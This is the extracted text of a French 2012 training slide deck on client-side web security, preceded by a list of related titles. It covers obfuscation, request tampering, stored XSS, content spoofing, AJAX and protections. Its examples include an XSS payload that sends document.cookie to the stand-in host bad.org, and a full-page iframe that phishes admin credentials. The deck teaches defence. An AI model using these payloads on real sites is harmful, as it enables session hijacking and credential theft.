Sécurité web client. Magali Contensin. ANF Dev Web ASR Carry-Le-Rouet. 25 octobre 2012



Documents pareils
Principales failles de sécurité des applications Web Principes, parades et bonnes pratiques de développement

Tech-Evenings Sécurité des applications Web Sébastien LEBRETON

OWASP Open Web Application Security Project. Jean-Marc Robert Génie logiciel et des TI

ADF 2009 Sécurisation d applications PHP/MySQL

Failles XSS : Principes, Catégories Démonstrations, Contre mesures

Sécurité des sites Web Pas un cours un recueil du net. INF340 Jean-François Berdjugin

OZSSI NORD 4 JUIN LILLE. Conférence thématique: Sécurité des applications

La mémorisation des mots de passe dans les navigateurs web modernes

Vulnérabilités et sécurisation des applications Web

(structure des entêtes)

Vulnérabilités et solutions de sécurisation des applications Web

L3 informatique TP n o 2 : Les applications réseau

Optimiser les performances d un site web. Nicolas Chevallier Camille Roux

CIBLE DE SECURITE CSPN DU PRODUIT PASS. (Product for Advanced SSO)

Présentation de la solution Open Source «Vulture» Version 2.0

Un exemple d'authentification sécurisée utilisant les outils du Web : CAS. P-F. Bonnefoi

DenyAll Protect. Sécurité & accélération. Parefeux pour applications et services Web. de vos applications.

Sécurité des réseaux Les attaques

Remote Cookies Stealing SIWAR JENHANI (RT4) SOUHIR FARES (RT4)

Failles des applications Web. Ce document est extrait du travail de diplôme de M. DIZON dans l état.

laposte.net) Ministère de l'éducation nationale Atelier sécurité Rabat RALL 2007

INTERNET est un RESEAU D ORDINATEURS RELIES ENTRE EUX A L ECHELLE PLANETAIRE. Internet : interconnexion de réseaux (anglais : net = réseau)

Protection des protocoles

WEB & DÉVELOPPEMENT LES BASES DU WEB LE LANGAGE HTML FEUILLES DE STYLES CSS HISTORIQUE D INTERNET ET DU WEB LES DIFFÉRENTS LANGAGES

BeEF : Browser Exploitation Framework

WebSSO, synchronisation et contrôle des accès via LDAP

DOM - Document Object Model

Serveurs de noms Protocoles HTTP et FTP

Développement des Systèmes d Information

Attaques applicatives

Qu'est ce qu'une Fédération d'identités? Définitions Fonctionnement de base Fonctionnement détaillé Les principaux composants

Découvrir les vulnérabilités au sein des applications Web

Sécurité des applications web. Daniel Boteanu

PySQLi. Framework d'injection de code SQL

Analyse de vulnérabilités et évaluation de systèmes de détection d'intrusions pour les applications Web

Cross Site Scripting et Phishing

API ONE-TIME PASSWORD

Supplément de renseignements : Examens d applications et pare-feux d applications web clarifiés Normes : Normes en matière de sécurité des données de

La Clé informatique. Formation Internet Explorer Aide-mémoire

Devenez un véritable développeur web en 3 mois!

FileMaker Server 11. Publication Web personnalisée avec XML et XSLT

Sécuriser les applications web de l entreprise

Ce document décrit une solution de single sign-on (SSO) sécurisée permettant d accéder à Microsoft Exchange avec des tablettes ou smartphones.

HTTP. Technologies du Web. Programmation Web côté serveur. Mastère spécialisé Management et nouvelles technologies, 16 novembre 2009

Introduction à Sign&go Guide d architecture

Application Web et J2EE

COURS 5 Mettre son site en ligne! Exporter son site avec WordPress Duplicator Installer un logiciel FTP Faire le suivi des visites de son site avec

Sessions en ligne - QuestionPoint

Utiliser le portail d accès distant Pour les personnels de l université LYON1

Sécurité des Applications Web Comment Minimiser les Risques d Attaques les plus Courants

Guide d implémentation. Réussir l intégration de Systempay

Impression de sécurité?

EXTENSION de Microsoft Dynamics CRM Réf FR 80452

Programmation Web. Madalina Croitoru IUT Montpellier

TP JAVASCRIPT OMI4 TP5 SRC

HTTP HTTP. IUT1 dpt SRC L Isle d Abeau Jean-françois Berdjugin. Introduction et architecture Messages Authentification Conclusion

\ \ / \ / / \/ ~ \/ _ \\ \ ` \ Y ( <_> ) \ / /\ _ / \ / / \/ \/ \/ Team

Logiciel de connexion sécurisée. M2Me_Secure. NOTICE D'UTILISATION Document référence :

Note technique. Recommandations pour la sécurisation des sites web

Dans l'épisode précédent

SYSTÈMES D INFORMATIONS

Formation Website Watcher

E-TRANSACTIONS. Guide du programmeur API Plug-in. Version 1.1

Introduction à. Oracle Application Express

Sécurisation des accès au CRM avec un certificat client générique

Maîtriser son identité numérique. Michel Futtersack, Faculté de Droit, Université Paris Descartes

The Mozilla Art Of War. David Teller. 20 septembre Laboratoire d Informatique Fondamentale d Orléans. La sécurité des extensions.

POVERELLO KASONGO Lucien SIO 2, SISR SITUATION PROFESSIONNELLE OCS INVENTORY NG ET GLPI

CHARTE DE GESTION DES COOKIES

PHISHING/PHARMING. Les Nouvelles Techniques qui portent atteinte à l intégrité des S.I

CONTACT EXPRESS 2011 ASPIRATEUR D S

Manuel utilisateur. des. listes de diffusion. Sympa. l'université Lille 3

Programmation Web. Introduction

Les rootkits navigateurs

HTTP 1.1. HyperText Transfer Protocol TCP IP ...

CAS, la théorie. R. Ferrere, S. Layrisse

Optimiser ses attaques Web avec Burp Suite

Utilisation de JAVA coté Application serveur couplé avec Oracle Forms Hafed Benteftifa Novembre 2008

Attaques de type. Brandon Petty

ADF Reverse Proxy. Thierry DOSTES

Sécuriser les applications web

Créer une connexion entre Sage CRM et Sage Etendue pour émettre directement des devis et commandes

Security Exposed. #1 - Take the red pill. An introduction to hacking & security flaws. ... and follow the white rabbit

NFA016 : Introduction. Pour naviguer sur le Web, il faut : Naviguer: dialoguer avec un serveur web

WWSympa, une interface web pour Sympa

Formation : WEbMaster

Etude de la pertinence et de l'intérêt des appliances WAF (IPS web) à l'inria

webmestre : conception de sites et administration de serveurs web 42 crédits Certificat professionnel CP09

S y m M a i l i n g. S o l u t i o n d e - m a i l i n g. SymMailing est un outil professionnel de création et de gestion de campagnes d ing.

BES WEBDEVELOPER ACTIVITÉ RÔLE

Paramétrage des navigateurs

Extension SSO Java. Cette note technique décrit la configuration et la mise en œuvre du filtre de custom SSO Java.

Présentation du relais HTTP Open Source Vulture. Arnaud Desmons Jérémie Jourdin

L identité numérique. Risques, protection

CHAPITRE 11. Temps réel Remy Sharp

Manuel d'installation

les techniques d'extraction, les formulaires et intégration dans un site WEB

Dossier Technique. Détail des modifications apportées à GRR. Détail des modifications apportées à GRR Le 17/07/2008. Page 1/10

Service d'authentification LDAP et SSO avec CAS

Transcription:

web client Magali Contensin 25 octobre 2012 ANF Dev Web ASR Carry-Le-Rouet

Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX

Visibilité du code Code chargé et exécuté sur le client => visible pour tout internaute Obscurcissement obfuscation func0on pair(){ nb = prompt('entrez un nombre', ''); (nb%2 == 0)? alert('pair') : alert('impair'); } reverse engineering var _0x6d8d=["\x65\x6E\x74\x72\x65\x7A\x20\x75\x6E\x20\x6E\x6F\x6D \x62\x72\x65","","\x70\x61\x69\x72","\x69\x6d\x70\x61\x69\x72"];func0on pair(){nb=prompt(_0x6d8d[0],_0x6d8d[1]);(nb%2==0)?alert(_0x6d8d[2]):alert(_0x6d8d[3]);} ;

Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX

La vérifica6on des données côté client est insuffisante JavaScript désactivé

La vérifica6on des données côté client est insuffisante Altération manuelle de la requête HTTP hxp://sites.fr/reserva0on.php?id=2 client altération URL variables dans la query string serveur altération formulaire (enregistrer, modifier) variables dans le corps POST /reservation.php?id=2 HTTP/1.1 Host: sites.fr Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www-form-urlencoded Content-Length: 11 lieu=venise

La vérifica6on des données côté client est insuffisante Outils pour manipuler les données de la requête client plugin (tamperdata, tamperie) proxy (webscarab) serveur en-tête corps en-tête corps POST /reservation.php?id=2 HTTP/1.1 Host: sites.fr Cookie: lang=fr;id=214535e1fa User-Agent: Firefox Content-Type: application/x-www- Content-Length: 11 lieu=venise client telnet 80 Requête forgée Altération variables en-tête & corps valeurs champs en-tête

La vérifica6on des données côté client est insuffisante 8 Tamper Data (Firefox) : intercepter, modifier et rejouer une requête HTTP 1 http://gecko.test.fr/ 2

La vérifica6on des données côté client est insuffisante 9 Tamper Data données En-tête HTTP

La vérifica6on des données côté client est insuffisante 10 Tamper Data 1 2 3

La vérifica6on des données côté client est insuffisante 11 Tamper Data Menu d injection XSS Encodage

La vérifica6on des données côté client est insuffisante => vérifier les données côté serveur type présence de toutes les données attendues bornes taille liste de valeurs (select, radio, checkbox)

Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX

XSS Open Web Application Security Project Les 10 risques les plus cri0ques des applica0ons web (19/04/2010) Exécution de code malveillant dans le navigateur Envoi de contenu actif au client Contenu exécuté par le client But vol de session document.cookie défiguration hameçonnage (phishing) document.location

XSS exemple simple nom mail Smith john.smith@bad.org serveur Inscrip0on OK Nom : Smith

XSS exemple simple nom mail Smith<script>alert(document.cookie)</script> john.smith@bad.org serveur Inscrip0on OK Nom : Smith

XSS a?aque stockée XSS envoyé par le pirate XSS Applica0on web Smith <script src=http://bad.org/c.js> </script> XSS SGBD nom mail Smith<script src=http://bad.org/c.js></script> john.smith@bad.org

XSS a?aque stockée l accès à la ressource provoque l envoi du XSS administrateur 1 GET liste_inscrits.php XSS Applica0on web Smith <script src=http://bad.org/c.js></script> Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD

bad.org Sécurité XSS a?aque stockée exécu0on du XSS administrateur 1 GET liste_inscrits.php 3 XSS Applica0on web Smith <script src=http://bad.org/c.js></script> Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD GET http://bad.org/c.js

bad.org Sécurité XSS a?aque stockée exécu0on du XSS administrateur 1 GET liste_inscrits.php 3 XSS Applica0on web Smith <script src=http://bad.org/c.js></script> Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD GET http://bad.org/c.js document.write( <img src=http://bad.org/c.php? +document.cookie+ width=1> ) 4 c.js

bad.org Sécurité XSS a?aque stockée le jeton de session est envoyé administrateur 1 GET liste_inscrits.php 3 5 XSS Applica0on web Smith <script src=http://bad.org/c.js></script> Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD GET http://bad.org/c.js document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4 GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js

bad.org Sécurité XSS a?aque stockée exploita0on des informa0ons de session administrateur 1 GET liste_inscrits.php 3 5 XSS Applica0on web Smith <script src=http://bad.org/c.js></script> vol de session idsess=a2345effb9ccd78 6 Smith <script src=http://bad.org/c.js> </script> 2 XSS SGBD GET http://bad.org/c.js document.write('<img src=http://bad.org/c.php?'+document.cookie+' width=1>') 4 GET http://bad.org/c.php?idsess=a2345effb9ccd78 c.js

XSS protec6on Développeur deux règles de protection contre le XSS filtrer les entrées (listes blanches) protéger les sorties définir le jeu de caractères de la page web coder les entités html Smith <script src=hxp://bad.org/c.js></script> protéger le jeton de session avec le flag httponly Attention à la fausse sensation de sécurité (attaques XST : requête HTTP TRACE) Utilisateur

Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX

Usurpa6on de contenu Modifier le contenu original de la page web But défiguration hameçonnage

Usurpa6on de contenu Smith <iframe src=...></iframe> Content spoofing Applica0on web C.S. SGBD nom mail Smith<iframe src=http://bad.org/page.php style="background-color:white;border:0;width: 100%;height:100%;position:absolute;top:0;left:0"></ iframe> john.smith@bad.org

Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Applica0on web C.S. SGBD

Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Applica0on web C.S. SGBD C.S. 2 Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto

bad.org Sécurité Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Contensin Dupond Smith Toto C.S. 2 3 GET http://bad.org/page.php Applica0on web C.S. SGBD Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto

bad.org Sécurité Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Contensin Dupond Smith Toto C.S. 2 3 GET http://bad.org/page.php Applica0on web C.S. SGBD Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto Vous avez été déconnecté, merci de vous authentifier login password 4

bad.org Sécurité Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Vous avez été déconnecté, merci Contensin de vous authentifier Dupond login Smith password Toto C.S. 2 3 GET http://bad.org/page.php Applica0on web C.S. SGBD Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto 4

bad.org Sécurité Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Vous avez été déconnecté, merci de vous authentifier login password Applica0on web C.S. 2 C.S. SGBD Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto 3 GET http://bad.org/page.php 4

bad.org Sécurité Usurpa6on de contenu admin. 1 GET liste_inscrits.php Smith <iframe src=...></iframe> Vous avez été déconnecté, merci de vous authentifier login password admin ******** Applica0on web C.S. 2 C.S. SGBD Contensin Dupond Smith<iframe src=http://bad.org/page.php style="backgroundcolor:white;border:0;width:100%;height:100%;position:absolute;top:0;left:0"></ iframe> Toto 5 3 GET http://bad.org/page.php 4

Usurpa6on de contenu Protection contre l usurpation de contenu Filtrer les entrées (listes blanches) Protéger les sorties n Définir le jeu de caractères de la page web n Coder les entités HTML Smith <iframe >

Plan Visibilité du code La vérification des données côté client est insuffisante XSS Usurpation de contenu AJAX

AJAX Mêmes problèmes de sécurité qu une application web standard Problèmes supplémentaires Surface d attaque plus étendue (nombre de points d entrées) Communication bi-directionnelle (entrées côté serveur et client) Code JavaScript lisible par tout client Injections : DOM JSON JavaScript (XSS)

bonnes pra6ques AJAX Sécuriser les communications (https si confidentialité) Vérifier l authentification et les privilèges dans tout script appelé par une requête XMLHTTP Filtrer les entrées listes blanches faire les vérifications dans le script final et dans les scripts appelés par les requêtes XMLHTTP vérifier les données retournées par le serveur avant de les utiliser sur le client (Injection DOM, XSS, JSON) Protéger les sorties Ne jamais faire de modification de données sur le serveur sans demander l autorisation à l utilisateur Attention au déni de service (cas des suggestions) Utiliser innertext plutôt que innerhtml pour du texte simple Attention aux scripts disponibles sur internet, leur préférer un framework AJAX utilisé par une large communauté

Liens OWASP (Open Web Application Security Project) http://www.owasp.org/index.php/category:owasp_top_ten_project http://www.owasp.org/index.php/category:owasp_guide_project https://www.owasp.org/index.php/ajax_and_other_%22rich%22_interface_technologies https://www.owasp.org/index.php/owasp_ajax_security_guidelines CWE / SANS Top 25 Most Dangerous Software Errors 2011 http://cwe.mitre.org/top25

JavaScript Ques0ons?